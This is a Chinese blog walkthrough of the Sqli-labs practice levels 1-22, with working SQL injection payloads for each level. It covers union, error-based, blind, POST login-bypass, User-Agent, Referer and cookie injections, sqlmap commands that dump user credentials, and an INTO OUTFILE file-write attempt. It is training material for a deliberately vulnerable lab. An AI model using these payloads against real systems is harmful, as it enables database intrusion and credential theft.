Sqli-labs 注入靶场(1-22)
Sqli-labs靶场1-22
Sql注入的本质是代码和数据的未分离,导致用户的输入可以对数据库产生恶意的输入或输出。
本篇博客旨在通过Sqli-labs的第1-22关,详细的描述Sql注入的相关场景及分类。
Less-1
GET型传参,字符型注入,单引号闭合
首先判断闭合,输入单引号时,出现报错信息,判断是单引号闭合
#出现报错信息
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '
#报错信息消失,由此判断是单引号闭合
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '#
#进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 3 # //回显正确
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 4 # //回显错误,报错信息为: Unknown column '4' in 'order clause'
判断有3列
#查看报错位
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,3 # //查看到报错位为2,3;注意这里id=-1才可以显示想要的回显
#正式进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,version(),database() # //查看版本,数据库名称
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # //查看到数据表名为emails,referers,uagents,users
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' # //查询到users数据表的数据列为:id,username,password
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1’
union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users # //注入出数据库所有的内容
Less-2
GET型传参,数字型注入
#正常显现
127.0.0.1/sqli-labs/Lesss-2/?id=1
#and逻辑运算符判断,为假时出现异常
127.0.0.1/sqli-labs/Lesss-2/?id=1 and 1=2 //得出结论为数字型注入
#进行注入
http://127.0.0.1/sqli-labs/Lesss-2/?id=-1
union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users # //注入出数据库所有内容
Less-3
GET型传参,字符型注入,闭合为(' ')
#正常回显
http://127.0.0.1/sqli-labs/Lesss-3/?id=1 ') #
#进行注入
http://127.0.0.1/sqli-labs/Lesss-3/?id=-1 ') union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #
Less-4
GET型传参,字符型注入,闭合为("")
#出现报错信息
http://192.168.28.128/sqli-labs/Lesss-4/?id=2")
#正常回显
http://192.168.28.128/sqli-labs/Lesss-4/?id=2") #
#进行注入
http://192.168.28.128/sqli-labs/Lesss-4/?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #
Less-5
GET型传参,布尔盲注,单引号闭合,考虑报错注入或者布尔盲注
方法1:报错注入
#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e,version()),0) #
#注入出表名
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
#注入出列名:
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #
方法2:Sqlmap 布尔型盲注
#查看数据表
sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" --current-db --batch --level 5 --threads 10
#进行数据注入
sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" -D "security" -T "users" -C "username,password" --dump --batch --level 5 --threads 10
Less-6
GET型传参,布尔传参,双引号闭合,考虑报错注入或者布尔盲注,方法与Less-5同,区别在于将单引号替换为双引号
#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e,version()),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #
Less-7
通过本关名称可以看出是写入,这里涉及到一个概念:
MYSQL新特性secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出,这个对我们写入shell有重要的影响
| secure_file_priv | 结果 |
|---|---|
| null | 不允许导入导出 |
| 空 | 可以读写,但不可以动态更改 |
| 指定文件夹 | mysql的导入导出只能发生在指定文件夹 |
http://192.168.28.128/sqli-labs/Less-7/?id=1 ')) union select 1,database(),user() into outfile "E:/phpstudy/PHPTutorial/WWW/sqli-labs/Less-7"#
方法2:时间盲注
使用Sqlmap或者自己编写Python脚本
sqlmap -u "192.168.28.128/sqli-labs/Less-7/?id=1" --threads 10 --level 3 -D security -T users -C id,password,username --dump
Less-8
GET型传参,布尔盲注,单引号闭合,无过滤,Sqlmap可以直接出
sqlmap -u "http://192.168.28.128/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique B --dbms mysql
Less-9
GET型传参,无论输入正确与否皆为You are in,单引号闭合,时间盲注,Sqlmap直接出
sqlmap -u "http://192.168.28.128/sqli-labs/Less-9/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique T --dbms mysql
Less-10
GET型传参,无论输入正确与否皆为You are in ,双引号闭合,时间盲注,Sqlmap直接出
#延迟3秒刷新
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(3) --+
#Sqlmap注入
sqlmap -u "http://192.168.28.128/sqli-labs/Less-10/?id=1" -D security --tables --threads 10 --level 5 --batch --technique T --dbms mysql
Less-11
POST型传参,单引号闭合,可使用报错注入,也可使用万能密码
#POST型传参,发现登录成功
uname=admin '+or+ '1 '= '1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
Less-12
POST型传参,闭合为"),同Less-11
#POST型传参,发现登录成功
uname=admin" )+or+("1" )=("1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
Less-13
POST型传参,闭合为(''),考虑盲注或者报错注入
#报错注入
uname=admin ' )and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
#时间盲注
sqlmap -r 1.txt --current-db --technique T --batch --threads 10 --dbms mysql
Less-14
POST型传参,闭合为” “,考虑报错注入
#报错注入
uname=admin"and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
Less-15
POST型传参,闭合为‘’,时间盲注或者布尔盲注,考虑用Sqlmap一把嗦
sqlmap -r 2.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5
Less-16
同Less-15,不过闭合是(“”),可以考虑自己构造python脚本,或者Sqlmap.
sqlmap -r 3.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5
Less-17
POST型传参,闭合为' ',注入点在password
uname=admin&passwd=admin' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) --+&submit=Submit
Less-18
POST型传参,UA型Insert注入,闭合方式为' and updatexml() and '1'='1 ,注意考虑闭合
' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1) and '1'='1
Less-19
回显Refer,考虑Refer注入
http://127.0.0.1/sqli-labs/Less-19/' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1
Less-20
Cookie注入,在存储处修改Cookie即可
' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1
Less-21
Cookie注入,发现Cookie处使用Base64编码,则将Less-20处Payload 使用Base64编码即可
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSksMCkgYW5kICcxJz0nMQ==
Less-22
同Cookie注入,并且使用了Base64编码,不同处是使用了双引号进行闭合
编码前Payload
" and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and "1"="1
编码后Payload
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpLDApIGFuZCAiMSI9IjE=
Sqli-labs 注入靶场(1-22)的更多相关文章
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- PHPTaint-检测xss/sqli/shell注入的php扩展模块[转]
web渗透者习惯采用黑盒或灰盒的方面来检测一款web应用是否存在漏洞,这种检测方法可以屏蔽不少漏洞,特别是程序逻辑中的漏洞.但如果能配合白盒的源码审计(也可以叫漏洞挖掘),效果将会更好,当然人力成本也 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- 搭建 sqli SQL注入练习靶场
文章更新于:2020-02-18 按照惯例,需要的文件附上链接放在文首 文件名:sqli-labs-master.zip 文件大小:3.5 M 下载链接:https://www.lanzous.com ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
随机推荐
- 重新整理 .net core 实践篇————熔断与限流[三十五]
前言 简单整理一下熔断与限流,跟上一节息息相关. 正文 polly 的策略类型分为两类: 被动策略(异常处理.结果处理) 主动策略(超时处理.断路器.舱壁隔离.缓存) 熔断和限流通过下面主动策略来实现 ...
- C++调用Libreoffice接口
由于部分原因,只提供cpp文件,其中代码还需要优化 其中主要涉及了Excel的创建 Sheet页的增加.删除.重命名 表格的合并 表格背景.边框部分属性的设置 表格内字体部分属性设置 表格内容的读取和 ...
- css中的毛玻璃(不是透明度) 简单文档
其实毛玻璃很简单 只需要在css中加入 backdrop-filter:blur(8px); 8px是模糊力度 注意:使用该方法前需要设置背景不能是透明(如果是显示这个元素下面的图像记得半透明,例子就 ...
- 在FLEX中真正的隐藏一个组件,隐藏后不占据自身的位置. (转)
一直被这个问题困扰,就是在设置UI的Visible的时候,改组件的位置一直被占着,比较恶心,今天在这里发现了一个方法, 操作方法如下设置: includeInLayout为false即可 来自:htt ...
- POJ 3449 Geometric Shapes 判断多边形相交
题意不难理解,给出多个多边形,输出多边形间的相交情况(嵌套不算相交),思路也很容易想到.枚举每一个图形再枚举每一条边 恶心在输入输出,不过还好有sscanf(),不懂可以查看cplusplus网站 根 ...
- Djiango 连接数据库mysql 的基本数据操作
1.单表操作 (1) .增加操作 1 # 增加操作 2 def add_person(request): 3 # 1.使用save() 方法 4 # person_obj = models.Perso ...
- 如果面试官问你 JVM,额外回答逃逸分析技术会让你加分!
我是陈皮,一个在互联网 Coding 的 ITer,微信搜索「陈皮的JavaLib」第一时间阅读最新文章. 引言 我在面试别人的过程中,JVM 内存模型我几乎必问,虽然有人说问这些就是面试造航母,工作 ...
- java二叉树的遍历(1)
树(tree)是一种抽象数据类型(ADT),用来模拟具有树状结构性质的数据集合.它是由n(n>0)个有限节点通过连接它们的边组成一个具有层次关系的集合 节点:上图的圆圈,比如A,B,C等都是表示 ...
- mac-webui-selenium下的webdriver selenium.common.exceptions.WebDriverException: Message: 'chromedriver' executable needs to be in PATH
from selenium import webdriver def test1(): url='http://www.baidu.com' driver=webdriver.Chrome(" ...
- 远程连接Linux上的MongoDB服务
1.Linux环境上安装好MongoDB,并配置好环境变量 2.启动MongoDB 注:mongod /opt/michael/mongodb/mongodb-linux-x86_64-4.0.5/d ...